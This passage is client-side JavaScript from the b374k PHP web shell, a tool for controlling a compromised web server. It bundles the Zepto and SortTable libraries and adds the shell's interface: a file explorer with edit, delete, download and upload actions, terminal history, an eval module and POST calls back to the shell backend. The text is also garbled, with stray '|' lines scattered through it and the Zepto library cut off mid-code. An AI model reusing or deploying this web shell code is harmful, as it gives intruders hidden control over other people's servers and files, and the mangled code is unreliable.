<form action='<?php echo get_self(); ?>' method='post' id='form' target='_blank'></form>
|
||
|
<!--script start-->
|
||
|
<script type='text/javascript'>
|
||
|
var targeturl = '<?php echo get_self(); ?>';
|
||
|
var module_to_load = '<?php echo implode(",", $GLOBALS['module_to_load']);?>';
|
||
|
var win = <?php echo (is_win())?'true':'false';?>;
|
||
|
var init_shell = true;
|
||
|
/* Zepto v1.1.2 - zepto event ajax form ie - zeptojs.com/license */
|
||
|
var Zepto=function(){function G(a){return a==null?String(a):z[A.call(a)]||"object"}function H(a){return G(a)=="function"}function I(a){return a!=null&&a==a.window}function J(a){return a!=null&&a.nodeType==a.DOCUMENT_NODE}function K(a){return G(a)=="object"}function L(a){return K(a)&&!I(a)&&Object.getPrototypeOf(a)==Object.prototype}function M(a){return a instanceof Array}function N(a){return typeof a.length=="number"}function O(a){return g.call(a,function(a){return a!=null})}function P(a){return a.length>0?c.fn.concat.apply([],a):a}function Q(a){return a.replace(/::/g,"/").replace(/([A-Z]+)([A-Z][a-z])/g,"$1_$2").replace(/([a-z\d])([A-Z])/g,"$1_$2").replace(/_/g,"-").toLowerCase()}function R(a){return a in j?j[a]:j[a]=new RegExp("(^|\\s)"+a+"(\\s|$)")}function S(a,b){return typeof b=="number"&&!k[Q(a)]?b+"px":b}function T(a){var b,c;return i[a]||(b=h.createElement(a),h.body.appendChild(b),c=getComputedStyle(b,"").getPropertyValue("display"),b.parentNode.removeChild(b),c=="none"&&(c="block"),i[a]=c),i[a]}function U(a){return"children"in a?f.call(a.children):c.map(a.childNodes,function(a){if(a.nodeType==1)return a})}function V(c,d,e){for(b in d)e&&(L(d[b])||M(d[b]))?(L(d[b])&&!L(c[b])&&(c[b]={}),M(d[b])&&!M(c[b])&&(c[b]=[]),V(c[b],d[b],e)):d[b]!==a&&(c[b]=d[b])}function W(a,b){return b==null?c(a):c(a).filter(b)}function X(a,b,c,d){return H(b)?b.call(a,c,d):b}function Y(a,b,c){c==null?a.removeAttribute(b):a.setAttribute(b,c)}function Z(b,c){var d=b.className,e=d&&d.baseVal!==a;if(c===a)return e?d.baseVal:d;e?d.baseVal=c:b.className=c}function $(a){var b;try{return a?a=="true"||(a=="false"?!1:a=="null"?null:!/^0/.test(a)&&!isNaN(b=Number(a))?b:/^[\[\{]/.test(a)?c.parseJSON(a):a):a}catch(d){return a}}function _(a,b){b(a);for(var c in a.childNodes)_(a.childNodes[c],b)}var a,b,c,d,e=[],f=e.slice,g=e.filter,h=window.document,i={},j={},k={"column-count":1,columns:1,"font-weight":1,"line-height":1,opacity:1,"z-index":1,zoom:1},l=/^\s*<(\w+|!)[^>]*>/,m=/^<(\w+)\s*\/?>(?:<\/\1>|)$/,n=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/ig,o=/^(?:body|html)$/i,p=/([A-Z])/g,q=["val","css","html","text","data","width","height","offset"],r=["after","prepend","before","append"],s=h.createElement("table"),t=h.createElement("tr"),u={tr:h.createElement("tbody"),tbody:s,thead:s,tfoot:s,td:t,th:t,"*":h.createElement("div")},v=/complete|loaded|interactive/,w=/^\.([\w-]+)$/,x=/^#([\w-]*)$/,y=/^[\w-]*$/,z={},A=z.toString,B={},C,D,E=h.createElement("div"),F={tabindex:"tabIndex",readonly:"readOnly","for":"htmlFor","class":"className",maxlength:"maxLength",cellspacing:"cellSpacing",cellpadding:"cellPadding",rowspan:"rowSpan",colspan:"colSpan",usemap:"useMap",frameborder:"frameBorder",contenteditable:"contentEditable"};return B.matches=function(a,b){if(!b||!a||a.nodeType!==1)return!1;var c=a.webkitMatchesSelector||a.mozMatchesSelector||a.oMatchesSelector||a.matchesSelector;if(c)return c.call(a,b);var d,e=a.parentNode,f=!e;return f&&(e=E).appendChild(a),d=~B.qsa(e,b).indexOf(a),f&&E.removeChild(a),d},C=function(a){return a.replace(/-+(.)?/g,function(a,b){return b?b.toUpperCase():""})},D=function(a){return g.call(a,function(b,c){return a.indexOf(b)==c})},B.fragment=function(b,d,e){var g,i,j;return m.test(b)&&(g=c(h.createElement(RegExp.$1))),g||(b.replace&&(b=b.replace(n,"<$1></$2>")),d===a&&(d=l.test(b)&&RegExp.$1),d in u||(d="*"),j=u[d],j.innerHTML=""+b,g=c.each(f.call(j.childNodes),function(){j.removeChild(this)})),L(e)&&(i=c(g),c.each(e,function(a,b){q.indexOf(a)>-1?i[a](b):i.attr(a,b)})),g},B.Z=function(a,b){return a=a||[],a.__proto__=c.fn,a.selector=b||"",a},B.isZ=function(a){return a instanceof B.Z},B.init=function(b,d){var e;if(!b)return B.Z();if(typeof b=="string"){b=b.trim();if(b[0]=="<"&&l.test(b))e=B.fragment(b,RegExp.$1,d),b=null;else{if(d!==a)return c(d).find(b);e=B.qsa(h,b)}}else{if(H(b))return c(h).ready(b);if(B.isZ(b))return b;if(M(b))e=O(b);else if(K(b))e=[b],b=null;else if(l.test(b))e=B.fragment(b.trim(),RegExp.$1,d),b=null;else{if(d!==a)return c(d).find(b);e=B.qsa(h,b)}}return B.Z(e,b)},c=function(a,b){return B.i
|
||
|
|
||
|
|
||
|
/**
|
||
|
*
|
||
|
* SortTable
|
||
|
* version 2
|
||
|
* 7th April 2007
|
||
|
* Stuart Langridge, http://www.kryogenix.org/code/browser/sorttable/
|
||
|
*
|
||
|
**/
|
||
|
var h=!0,j=!1;
|
||
|
sorttable={e:function(){arguments.callee.i||(arguments.callee.i=h,k&&clearInterval(k),document.createElement&&document.getElementsByTagName&&(sorttable.a=/^(\d\d?)[\/\.-](\d\d?)[\/\.-]((\d\d)?\d\d)$/,l(document.getElementsByTagName("table"),function(a){-1!=a.className.search(/\bsortable\b/)&&sorttable.k(a)})))},k:function(a){0==a.getElementsByTagName("thead").length&&(the=document.createElement("thead"),the.appendChild(a.rows[0]),a.insertBefore(the,a.firstChild));null==a.tHead&&(a.tHead=a.getElementsByTagName("thead")[0]);
|
||
|
if(1==a.tHead.rows.length){sortbottomrows=[];for(var b=0;b<a.rows.length;b++)-1!=a.rows[b].className.search(/\bsortbottom\b/)&&(sortbottomrows[sortbottomrows.length]=a.rows[b]);if(sortbottomrows){null==a.tFoot&&(tfo=document.createElement("tfoot"),a.appendChild(tfo));for(b=0;b<sortbottomrows.length;b++)tfo.appendChild(sortbottomrows[b]);delete sortbottomrows}headrow=a.tHead.rows[0].cells;for(b=0;b<headrow.length;b++)if(!headrow[b].className.match(/\bsorttable_nosort\b/)){(mtch=headrow[b].className.match(/\bsorttable_([a-z0-9]+)\b/))&&
|
||
|
(override=mtch[1]);headrow[b].p=mtch&&"function"==typeof sorttable["sort_"+override]?sorttable["sort_"+override]:sorttable.j(a,b);headrow[b].o=b;headrow[b].c=a.tBodies[0];var c=headrow[b],e=sorttable.q=function(){if(-1!=this.className.search(/\bsorttable_sorted\b/))sorttable.reverse(this.c),this.className=this.className.replace("sorttable_sorted","sorttable_sorted_reverse"),this.removeChild(document.getElementById("sorttable_sortfwdind")),sortrevind=document.createElement("span"),sortrevind.id="sorttable_sortrevind",
|
||
|
sortrevind.innerHTML=" ▴",this.appendChild(sortrevind);else if(-1!=this.className.search(/\bsorttable_sorted_reverse\b/))sorttable.reverse(this.c),this.className=this.className.replace("sorttable_sorted_reverse","sorttable_sorted"),this.removeChild(document.getElementById("sorttable_sortrevind")),sortfwdind=document.createElement("span"),sortfwdind.id="sorttable_sortfwdind",sortfwdind.innerHTML=" ▾",this.appendChild(sortfwdind);else{theadrow=this.parentNode;l(theadrow.childNodes,
|
||
|
function(a){1==a.nodeType&&(a.className=a.className.replace("sorttable_sorted_reverse",""),a.className=a.className.replace("sorttable_sorted",""))});(sortfwdind=document.getElementById("sorttable_sortfwdind"))&&sortfwdind.parentNode.removeChild(sortfwdind);(sortrevind=document.getElementById("sorttable_sortrevind"))&&sortrevind.parentNode.removeChild(sortrevind);this.className+=" sorttable_sorted";sortfwdind=document.createElement("span");sortfwdind.id="sorttable_sortfwdind";sortfwdind.innerHTML=
|
||
|
" ▾";this.appendChild(sortfwdind);row_array=[];col=this.o;rows=this.c.rows;for(var a=0;a<rows.length;a++)row_array[row_array.length]=[sorttable.d(rows[a].cells[col]),rows[a]];row_array.sort(this.p);tb=this.c;for(a=0;a<row_array.length;a++)tb.appendChild(row_array[a][1]);delete row_array}};if(c.addEventListener)c.addEventListener("click",e,j);else{e.f||(e.f=n++);c.b||(c.b={});var g=c.b.click;g||(g=c.b.click={},c.onclick&&(g[0]=c.onclick));g[e.f]=e;c.onclick=p}}}},j:function(a,b){sortfn=
|
||
|
sorttable.l;for(var c=0;c<a.tBodies[0].rows.length;c++)if(text=sorttable.d(a.tBodies[0].rows[c].cells[b]),""!=text){if(text.match(/^-?[\u00a3$\u00a4]?[\d,.]+%?$/))return sorttable.n;if(possdate=text.match(sorttable.a)){first=parseInt(possdate[1]);second=parseInt(possdate[2]);if(12<first)return sorttable.g;if(12<second)return sorttable.m;sortfn=sorttable.g}}return sortfn},d:function(a){if(!a)return"";hasInputs="function"==typeof a.getElementsByTagName&&a.getElementsByTagName("input").length;if(""!=
|
||
|
a.title)return a.title;if("undefined"!=typeof a.textContent&&!hasInputs)return a.textContent.replace(/^\s+|\s+$/g,"");if("undefined"!=typeof a.innerText&&!hasInputs)return a.innerText.replace(/^\s+|\s+$/g,"");if("undefined"!=typeof a.text&&!hasInputs)return a.text.replace(/^\s+|\s+$/g,"");switch(a.nodeType){case 3:if("input"==a.nodeName.toLowerCase())return a.value.replace(/^\s+|\s+$/g,"");case 4:return a.nodeValue.replace(/^\s+|\s+$/g,"");case 1:case 11:for(var b="",c=0;c<a.childNodes.length;c++)b+=
|
||
|
sorttable.d(a.childNodes[c]);return b.replace(/^\s+|\s+$/g,"");default:return""}},reverse:function(a){newrows=[];for(var b=0;b<a.rows.length;b++)newrows[newrows.length]=a.rows[b];for(b=newrows.length-1;0<=b;b--)a.appendChild(newrows[b]);delete newrows},n:function(a,b){aa=parseFloat(a[0].replace(/[^0-9.-]/g,""));isNaN(aa)&&(aa=0);bb=parseFloat(b[0].replace(/[^0-9.-]/g,""));isNaN(bb)&&(bb=0);return aa-bb},l:function(a,b){return a[0].toLowerCase()==b[0].toLowerCase()?0:a[0].toLowerCase()<b[0].toLowerCase()?
|
||
|
-1:1},g:function(a,b){mtch=a[0].match(sorttable.a);y=mtch[3];m=mtch[2];d=mtch[1];1==m.length&&(m="0"+m);1==d.length&&(d="0"+d);dt1=y+m+d;mtch=b[0].match(sorttable.a);y=mtch[3];m=mtch[2];d=mtch[1];1==m.length&&(m="0"+m);1==d.length&&(d="0"+d);dt2=y+m+d;return dt1==dt2?0:dt1<dt2?-1:1},m:function(a,b){mtch=a[0].match(sorttable.a);y=mtch[3];d=mtch[2];m=mtch[1];1==m.length&&(m="0"+m);1==d.length&&(d="0"+d);dt1=y+m+d;mtch=b[0].match(sorttable.a);y=mtch[3];d=mtch[2];m=mtch[1];1==m.length&&(m="0"+m);1==d.length&&
|
||
|
(d="0"+d);dt2=y+m+d;return dt1==dt2?0:dt1<dt2?-1:1},r:function(a,b){for(var c=0,e=a.length-1,g=h;g;){for(var g=j,f=c;f<e;++f)0<b(a[f],a[f+1])&&(g=a[f],a[f]=a[f+1],a[f+1]=g,g=h);e--;if(!g)break;for(f=e;f>c;--f)0>b(a[f],a[f-1])&&(g=a[f],a[f]=a[f-1],a[f-1]=g,g=h);c++}}};document.addEventListener&&document.addEventListener("DOMContentLoaded",sorttable.e,j);if(/WebKit/i.test(navigator.userAgent))var k=setInterval(function(){/loaded|complete/.test(document.readyState)&&sorttable.e()},10);
|
||
|
window.onload=sorttable.e;var n=1;function p(a){var b=h;a||(a=((this.ownerDocument||this.document||this).parentWindow||window).event,a.preventDefault=q,a.stopPropagation=r);var c=this.b[a.type],e;for(e in c)this.h=c[e],this.h(a)===j&&(b=j);return b}function q(){this.returnValue=j}function r(){this.cancelBubble=h}Array.forEach||(Array.forEach=function(a,b,c){for(var e=0;e<a.length;e++)b.call(c,a[e],e,a)});
|
||
|
Function.prototype.forEach=function(a,b,c){for(var e in a)"undefined"==typeof this.prototype[e]&&b.call(c,a[e],e,a)};String.forEach=function(a,b,c){Array.forEach(a.split(""),function(e,g){b.call(c,e,g,a)})};function l(a,b){if(a){var c=Object;if(a instanceof Function)c=Function;else{if(a.forEach instanceof Function){a.forEach(b,void 0);return}"string"==typeof a?c=String:"number"==typeof a.length&&(c=Array)}c.forEach(a,b,void 0)}};
|
||
|
|
||
|
var loading_count = 0;
|
||
|
var running = false;
|
||
|
var defaultTab = 'explorer';
|
||
|
var currentTab = $('#'+defaultTab);
|
||
|
var tabScroll = new Object;
|
||
|
var onDrag = false;
|
||
|
var onScroll = false;
|
||
|
var scrollDelta = 1;
|
||
|
var scrollCounter = 0;
|
||
|
var scrollSpeed = 60;
|
||
|
var scrollTimer = '';
|
||
|
var dragX = '';
|
||
|
var dragY = '';
|
||
|
var dragDeltaX = '';
|
||
|
var dragDeltaY = '';
|
||
|
var editSuccess = '';
|
||
|
var terminalHistory = new Array();
|
||
|
var terminalHistoryPos = 0;
|
||
|
var evalSupported = "";
|
||
|
var evalReady = false;
|
||
|
var resizeTimer = '';
|
||
|
var portableWidth = 700;
|
||
|
var portableMode = null;
|
||
|
|
||
|
Zepto(function($){
|
||
|
if(init_shell){
|
||
|
var now = new Date();
|
||
|
output("started @ "+ now.toGMTString());
|
||
|
output("cwd : "+get_cwd());
|
||
|
output("module : "+module_to_load);
|
||
|
|
||
|
show_tab();
|
||
|
xpl_bind();
|
||
|
eval_init();
|
||
|
|
||
|
window_resize();
|
||
|
|
||
|
xpl_update_status();
|
||
|
|
||
|
$(window).on('resize', function(e){
|
||
|
clearTimeout(resizeTimer);
|
||
|
resizeTimer = setTimeout("window_resize()", 1000);
|
||
|
});
|
||
|
|
||
|
$('.menuitem').on('click', function(e){
|
||
|
selectedTab = $(this).attr('href').substr(2);
|
||
|
show_tab(selectedTab);
|
||
|
});
|
||
|
|
||
|
$('#logout').on('click', function(e){
|
||
|
var cookie = document.cookie.split(';');
|
||
|
for(var i=0; i<cookie.length; i++){
|
||
|
var entries = cookie[i], entry = entries.split("="), name = entry[0];
|
||
|
document.cookie = name + "=''; expires=Thu, 01 Jan 1970 00:00:01 GMT; path=/";
|
||
|
}
|
||
|
localStorage.clear();
|
||
|
location.href = targeturl;
|
||
|
});
|
||
|
|
||
|
$('#totop').on('click', function(e){
|
||
|
$(window).scrollTop(0);
|
||
|
});
|
||
|
$('#totop').on('mouseover', function(e){
|
||
|
onScroll = true;
|
||
|
clearTimeout(scrollTimer);
|
||
|
start_scroll('top');
|
||
|
});
|
||
|
$('#totop').on('mouseout', function(e){
|
||
|
onScroll = false;
|
||
|
scrollCounter = 0;
|
||
|
});
|
||
|
$('#tobottom').on('click', function(e){
|
||
|
$(window).scrollTop($(document).height()-$(window).height());
|
||
|
});
|
||
|
$('#tobottom').on('mouseover', function(e){
|
||
|
onScroll = true;
|
||
|
clearTimeout(scrollTimer);
|
||
|
start_scroll('bottom');
|
||
|
});
|
||
|
$('#tobottom').on('mouseout', function(e){
|
||
|
onScroll = false;
|
||
|
scrollCounter = 0;
|
||
|
});
|
||
|
$('#basicInfo').on('mouseenter', function(e){
|
||
|
$('#toggleBasicInfo').show();
|
||
|
});
|
||
|
$('#basicInfo').on('mouseleave', function(e){
|
||
|
$('#toggleBasicInfo').hide();
|
||
|
});
|
||
|
$('#toggleBasicInfo').on('click', function(e){
|
||
|
$('#basicInfo').hide();
|
||
|
$('#showinfo').show();
|
||
|
$('#toggleBasicInfo').hide();
|
||
|
localStorage.setItem('infoBarShown', 'hidden');
|
||
|
});
|
||
|
$('#showinfo').on('click', function(e){
|
||
|
$('#basicInfo').show();
|
||
|
$('#showinfo').hide();
|
||
|
localStorage.setItem('infoBarShown', 'shown');
|
||
|
});
|
||
|
|
||
|
if((infoBarShown = localStorage.getItem('infoBarShown'))){
|
||
|
if(infoBarShown=='shown'){
|
||
|
$('#basicInfo').show();
|
||
|
$('#showinfo').hide();
|
||
|
}
|
||
|
else{
|
||
|
$('#basicInfo').hide();
|
||
|
$('#showinfo').show();
|
||
|
$('#toggleBasicInfo').hide();
|
||
|
}
|
||
|
}
|
||
|
else{
|
||
|
info_refresh();
|
||
|
}
|
||
|
|
||
|
if(history.pushState){
|
||
|
window.onpopstate = function(event) { refresh_tab(); };
|
||
|
}
|
||
|
else{
|
||
|
window.historyEvent = function(event) { refresh_tab(); };
|
||
|
}
|
||
|
}
|
||
|
});
|
||
|
|
||
|
function output(str){
|
||
|
console.log('b374k> '+str);
|
||
|
}
|
||
|
|
||
|
function window_resize(){
|
||
|
bodyWidth = $('body').width();
|
||
|
if(bodyWidth<=portableWidth){
|
||
|
layout_portable();
|
||
|
}
|
||
|
else{
|
||
|
layout_normal();
|
||
|
}
|
||
|
}
|
||
|
|
||
|
function layout_portable(){
|
||
|
nav = $('#nav');
|
||
|
menu = $('#menu');
|
||
|
headerNav = $('#headerNav');
|
||
|
content = $('#content');
|
||
|
|
||
|
//nav.hide();
|
||
|
nav.prependTo('#content');
|
||
|
nav.css('padding','5px 8px');
|
||
|
nav.css('margin-top', '8px');
|
||
|
nav.css('display','block');
|
||
|
nav.addClass('border');
|
||
|
|
||
|
menu.children().css('width', '100%');
|
||
|
menu.hide();
|
||
|
$('#menuButton').remove();
|
||
|
headerNav.prepend("<div id='menuButton' class='boxtitle' onclick=\"$('#menu').toggle();\" style='float-left;display:inline;padding:4px 8px;margin-right:8px;'>menu</div>");
|
||
|
menu.attr('onclick', "\$('#menu').hide();");
|
||
|
|
||
|
$('#xplTable tr>:nth-child(4)').hide();
|
||
|
$('#xplTable tr>:nth-child(5)').hide();
|
||
|
if(!win){
|
||
|
$('#xplTable tr>:nth-child(6)').hide();
|
||
|
}
|
||
|
|
||
|
tblfoot = $('#xplTable tfoot td:last-child');
|
||
|
if(tblfoot[0]) tblfoot[0].colSpan = 1;
|
||
|
if(tblfoot[1]) tblfoot[1].colSpan = 2;
|
||
|
|
||
|
|
||
|
$('.box').css('width', '100%');
|
||
|
$('.box').css('height', '100%');
|
||
|
$('.box').css('left', '0px');
|
||
|
$('.box').css('top', '0px');
|
||
|
|
||
|
paddingTop = $('#header').height();
|
||
|
content.css('padding-top', paddingTop+'px');
|
||
|
|
||
|
portableMode = true;
|
||
|
}
|
||
|
|
||
|
function layout_normal(){
|
||
|
nav = $('#nav');
|
||
|
menu = $('#menu');
|
||
|
content = $('#content');
|
||
|
|
||
|
nav.insertAfter('#b374k');
|
||
|
nav.css('padding','0');
|
||
|
nav.css('margin-top', '0');
|
||
|
nav.css('display','inline');
|
||
|
nav.removeClass('border');
|
||
|
|
||
|
menu.children().css('width', 'auto');
|
||
|
menu.show();
|
||
|
$('#menuButton').remove();
|
||
|
menu.attr('onclick', "");
|
||
|
|
||
|
$('#xplTable tr>:nth-child(4)').show();
|
||
|
$('#xplTable tr>:nth-child(5)').show();
|
||
|
if(!win){
|
||
|
$('#xplTable tr>:nth-child(6)').show();
|
||
|
colspan = 4;
|
||
|
}
|
||
|
else colspan = 3;
|
||
|
|
||
|
tblfoot = $('#xplTable tfoot td:last-child');
|
||
|
if(tblfoot[0]) tblfoot[0].colSpan = colspan;
|
||
|
if(tblfoot[1]) tblfoot[1].colSpan = colspan+1;
|
||
|
|
||
|
paddingTop = $('#header').height();
|
||
|
content.css('padding-top', paddingTop+'px');
|
||
|
|
||
|
portableMode = false;
|
||
|
}
|
||
|
|
||
|
function start_scroll(str){
|
||
|
if(str=='top'){
|
||
|
to = $(window).scrollTop() - scrollCounter;
|
||
|
scrollCounter = scrollDelta + scrollCounter;
|
||
|
if(to<=0){
|
||
|
to = 0;
|
||
|
onScroll = false;
|
||
|
}
|
||
|
else if(onScroll){
|
||
|
scrollTimer = setTimeout("start_scroll('top')", scrollSpeed);
|
||
|
$(window).scrollTop(to);
|
||
|
}
|
||
|
}
|
||
|
else if(str=='bottom'){
|
||
|
to = $(window).scrollTop() + scrollCounter;
|
||
|
scrollCounter = scrollDelta + scrollCounter;
|
||
|
bottom = $(document).height()-$(window).height();
|
||
|
if(to>=bottom){
|
||
|
to = bottom;
|
||
|
onScroll = false;
|
||
|
}
|
||
|
else if(onScroll){
|
||
|
scrollTimer = setTimeout("start_scroll('bottom')", scrollSpeed);
|
||
|
$(window).scrollTop(to);
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
|
||
|
function get_cwd(){
|
||
|
return decodeURIComponent(get_cookie('cwd'));
|
||
|
}
|
||
|
|
||
|
function fix_tabchar(el, e){
|
||
|
if(e.keyCode==9){
|
||
|
e.preventDefault();
|
||
|
var s = el.selectionStart;
|
||
|
el.value = el.value.substring(0,el.selectionStart) + "\t" + el.value.substring(el.selectionEnd);
|
||
|
el.selectionEnd = s+1;
|
||
|
}
|
||
|
}
|
||
|
|
||
|
function get_cookie(key){
|
||
|
var res;
|
||
|
return (res = new RegExp('(?:^|; )' + encodeURIComponent(key) + '=([^;]*)').exec(document.cookie)) ? (res[1]) : null;
|
||
|
}
|
||
|
|
||
|
function set_cookie(key, value){
|
||
|
document.cookie = key + '=' + encodeURIComponent(value);
|
||
|
}
|
||
|
|
||
|
function html_safe(str){
|
||
|
if(typeof(str) == "string"){
|
||
|
str = str.replace(/&/g, "&");
|
||
|
str = str.replace(/"/g, """);
|
||
|
str = str.replace(/'/g, "'");
|
||
|
str = str.replace(/</g, "<");
|
||
|
str = str.replace(/>/g, ">");
|
||
|
}
|
||
|
return str;
|
||
|
}
|
||
|
|
||
|
function ucfirst(str){
|
||
|
return str.charAt(0).toUpperCase() + str.slice(1);
|
||
|
}
|
||
|
|
||
|
function time(){
|
||
|
var d = new Date();
|
||
|
return d.getTime();
|
||
|
}
|
||
|
|
||
|
function send_post(targetdata, callback, loading){
|
||
|
if(loading==null) loading_start();
|
||
|
$.ajax({
|
||
|
url: targeturl,
|
||
|
type: 'POST',
|
||
|
data: targetdata,
|
||
|
success: function(res){
|
||
|
callback(res);
|
||
|
if(loading==null) loading_stop();
|
||
|
},
|
||
|
error: function(){ if(loading==null) loading_stop(); }
|
||
|
});
|
||
|
}
|
||
|
|
||
|
function loading_start(){
|
||
|
if(!running){
|
||
|
$('#overlay').show();
|
||
|
running = true;
|
||
|
loading_loop();
|
||
|
}
|
||
|
}
|
||
|
|
||
|
function loading_loop(){
|
||
|
if(running){
|
||
|
img = $('#loading');
|
||
|
img.css('transform', 'rotate('+loading_count+'deg)');
|
||
|
img.css('-ms-transform', 'rotate('+loading_count+'deg)');
|
||
|
img.css('-webkit-transform', 'rotate('+loading_count+'deg)');
|
||
|
|
||
|
loading_count+=7;
|
||
|
if(loading_count>360) loading_count = 0;
|
||
|
if(running) setTimeout("loading_loop()",20);
|
||
|
}
|
||
|
}
|
||
|
|
||
|
function loading_stop(){
|
||
|
if(running){
|
||
|
img = $('#loading');
|
||
|
img.css('transform', 'rotate(0deg)');
|
||
|
img.css('-ms-transform', 'rotate(0deg)');
|
||
|
img.css('-webkit-transform', 'rotate(0deg)');
|
||
|
|
||
|
$('#overlay').hide();
|
||
|
running = false;
|
||
|
}
|
||
|
}
|
||
|
|
||
|
function show_tab(id){
|
||
|
if(!id){
|
||
|
if(location.hash!='') id = location.hash.substr(2);
|
||
|
else id = defaultTab;
|
||
|
}
|
||
|
refresh_tab(id);
|
||
|
}
|
||
|
|
||
|
function refresh_tab(id){
|
||
|
if(!id){
|
||
|
if(location.hash!='') id = location.hash.substr(2);
|
||
|
else id = defaultTab;
|
||
|
}
|
||
|
$('.menuitemSelected').removeClass("menuitemSelected");
|
||
|
$('#menu'+id).addClass("menuitemSelected");
|
||
|
|
||
|
tabScroll[currentTab.attr('id')] = $(window).scrollTop();
|
||
|
currentTab.hide();
|
||
|
currentTab = $('#'+id);
|
||
|
currentTab.show();
|
||
|
window[id]();
|
||
|
if(tabScroll[id]){
|
||
|
$(window).scrollTop(tabScroll[id]);
|
||
|
}
|
||
|
hide_box();
|
||
|
}
|
||
|
|
||
|
function trap_enter(e, callback){
|
||
|
if(e.keyCode==13){
|
||
|
if(callback!=null) window[callback]();
|
||
|
}
|
||
|
}
|
||
|
|
||
|
function show_box(title, content){
|
||
|
onDrag = false;
|
||
|
hide_box();
|
||
|
box = "<div class='box'><p class='boxtitle'>"+title+"<span class='boxclose floatRight'>x</span></p><div class='boxcontent'>"+content+"</div><div class='boxresult'></div></div>";
|
||
|
$('#content').append(box);
|
||
|
|
||
|
box_width = $('.box').width();
|
||
|
body_width = $('body').width();
|
||
|
|
||
|
box_height = $('.box').height();
|
||
|
body_height = $('body').height();
|
||
|
|
||
|
x = (body_width - box_width)/2;
|
||
|
y = (body_height - box_height)/2;
|
||
|
if(x<0 || portableMode) x = 0;
|
||
|
if(y<0 || portableMode) y = 0;
|
||
|
if(portableMode){
|
||
|
$('.box').css('width', '100%');
|
||
|
$('.box').css('height', '100%');
|
||
|
}
|
||
|
|
||
|
$('.box').css('left', x+'px');
|
||
|
$('.box').css('top', y+'px');
|
||
|
|
||
|
$('.boxclose').on('click', function(e){
|
||
|
hide_box();
|
||
|
});
|
||
|
|
||
|
if(!portableMode){
|
||
|
$('.boxtitle').on('click', function(e){
|
||
|
if(!onDrag){
|
||
|
dragDeltaX = e.pageX - parseInt($('.box').css('left'));
|
||
|
dragDeltaY = e.pageY - parseInt($('.box').css('top'));
|
||
|
drag_start();
|
||
|
}
|
||
|
else drag_stop();
|
||
|
});
|
||
|
}
|
||
|
|
||
|
$(document).off('keyup');
|
||
|
$(document).on('keyup', function(e){
|
||
|
if(e.keyCode == 27) hide_box();
|
||
|
});
|
||
|
|
||
|
if($('.box input')[0]) $('.box input')[0].focus();
|
||
|
}
|
||
|
|
||
|
function hide_box(){
|
||
|
$(document).off('keyup');
|
||
|
$('.box').remove();
|
||
|
}
|
||
|
|
||
|
function drag_start(){
|
||
|
if(!onDrag){
|
||
|
onDrag = true;
|
||
|
$('body').off('mousemove');
|
||
|
$('body').on('mousemove', function(e){
|
||
|
dragX = e.pageX;
|
||
|
dragY = e.pageY;
|
||
|
});
|
||
|
setTimeout('drag_loop()',50);
|
||
|
}
|
||
|
}
|
||
|
|
||
|
function drag_loop(){
|
||
|
if(onDrag){
|
||
|
x = dragX - dragDeltaX;
|
||
|
y = dragY - dragDeltaY;
|
||
|
if(y<0)y=0;
|
||
|
$('.box').css('left', x+'px');
|
||
|
$('.box').css('top', y+'px');
|
||
|
setTimeout('drag_loop()',50);
|
||
|
}
|
||
|
}
|
||
|
|
||
|
function drag_stop(){
|
||
|
onDrag = false;
|
||
|
$('body').off('mousemove');
|
||
|
}
|
||
|
|
||
|
function get_all_cbox_selected(id, callback){
|
||
|
var buffer = new Array();
|
||
|
$('#'+id).find('.cBoxSelected').not('.cBoxAll').each(function(i){
|
||
|
if((href = window[callback]($(this)))){
|
||
|
buffer[i] = href;
|
||
|
}
|
||
|
});
|
||
|
return buffer;
|
||
|
}
|
||
|
|
||
|
|
||
|
function cbox_bind(id, callback){
|
||
|
$('#'+id).find('.cBox').off('click');
|
||
|
$('#'+id).find('.cBoxAll').off('click');
|
||
|
|
||
|
$('#'+id).find('.cBox').on('click', function(e){
|
||
|
if($(this).hasClass('cBoxSelected')){
|
||
|
$(this).removeClass('cBoxSelected');
|
||
|
}
|
||
|
else $(this).addClass('cBoxSelected');
|
||
|
if(callback!=null) window[callback]();
|
||
|
});
|
||
|
$('#'+id).find('.cBoxAll').on('click', function(e){
|
||
|
if($(this).hasClass('cBoxSelected')){
|
||
|
$('#'+id).find('.cBox').removeClass('cBoxSelected');
|
||
|
$('#'+id).find('.cBoxAll').removeClass('cBoxSelected');
|
||
|
}
|
||
|
else{
|
||
|
$('#'+id).find('.cBox').not('.cBoxException').addClass('cBoxSelected');
|
||
|
$('#'+id).find('.cBoxAll').not('.cBoxException').addClass('cBoxSelected');
|
||
|
}
|
||
|
if(callback!=null) window[callback]();
|
||
|
});
|
||
|
}
|
||
|
|
||
|
|
||
|
function action(path, type){
|
||
|
title = "Action";
|
||
|
content = '';
|
||
|
if(type=='file') content = "<table class='boxtbl'><tr><td><input type='text' value='"+path+"' disabled></td></tr><tr data-path='"+path+"'><td><span class='edit button'>edit</span><span class='ren button'>rename</span><span class='del button'>delete</span><span class='dl button'>download</span></td></tr></table>";
|
||
|
if(type=='dir') content = "<table class='boxtbl'><tr><td><input type='text' value='"+path+"' disabled></td></tr><tr data-path='"+path+"'><td><span class='find button'>find</span><span class='ul button'>upload</span><span class='ren button'>rename</span><span class='del button'>delete</span></td></tr></table>";
|
||
|
if(type=='dot') content = "<table class='boxtbl'><tr><td><input type='text' value='"+path+"' disabled></td></tr><tr data-path='"+path+"'><td><span class='find button'>find</span><span class='ul button'>upload</span><span class='ren button'>rename</span><span class='del button'>delete</span><span class='newfile button'>new file</span><span class='newfolder button'>new folder</span></td></tr></table>";
|
||
|
show_box(title, content);
|
||
|
xpl_bind();
|
||
|
}
|
||
|
|
||
|
function navigate(path, showfiles){
|
||
|
if(showfiles==null) showfiles = 'true';
|
||
|
send_post({ cd:path, showfiles:showfiles }, function(res){
|
||
|
if(res!='error'){
|
||
|
splits = res.split('{[|b374k|]}');
|
||
|
if(splits.length==3){
|
||
|
$('#nav').html(splits[1]);
|
||
|
if(showfiles=='true'){
|
||
|
$('#explorer').html('');
|
||
|
$('#explorer').html(splits[2]);
|
||
|
sorttable.k($('#xplTable').get(0));
|
||
|
}
|
||
|
$('#terminalCwd').html(html_safe(get_cwd())+'>');
|
||
|
xpl_bind();
|
||
|
window_resize();
|
||
|
}
|
||
|
}
|
||
|
});
|
||
|
}
|
||
|
|
||
|
function view(path, type, preserveTimestamp){
|
||
|
